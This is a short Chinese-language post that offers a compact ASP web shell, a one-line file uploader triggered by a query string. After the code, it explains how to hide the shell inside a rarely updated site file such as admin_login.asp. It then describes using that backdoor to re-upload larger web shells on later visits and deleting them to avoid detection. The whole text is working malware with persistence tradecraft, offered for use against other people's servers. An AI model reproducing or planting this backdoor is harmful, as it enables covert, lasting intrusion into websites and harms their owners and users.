一个ASP小马

<%if request.querystring("action")="log" then
a=request.totalbytes:if a then b="adodb.stream":set c=createobject(b):c.type=1:c.open:c.write request.binaryread(a):c.position=0:d=c.read:e=chrb(13)&chrb(10):f=instrb(d,e):g=instrb(f+1,d,e):set h=createobject(b):h.type=1:h.open:c.position=f+1:c.copyto h,g-f-3:h.position=0:h.type=2:h.charset="big5":i=h.readtext:h.close:j=mid(i,instrrev(i,"\")+1,g):k=instrb(d,e&e)+4:l=instrb(k+1,d,leftb(d,f-1))-k-2:h.type=1:h.open:c.position=k-1:c.copyto h,l:h.savetofile server.mappath(j),2%><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<%end if%>

理由：能上传文件，简洁，体积小，不易发现。
使用：先用海阳或蓝屏用编辑功能将马编辑进一些不易更新的文件里，比如admin_login.asp.操作人家文件时只要在浏览器里输入admin_login.asp?action=log即可上传海阳或蓝屏，操作完后用蓝屏等自身删除功能将蓝屏删除。下回来时在用这常驻马上传海阳等。几乎用不被查杀。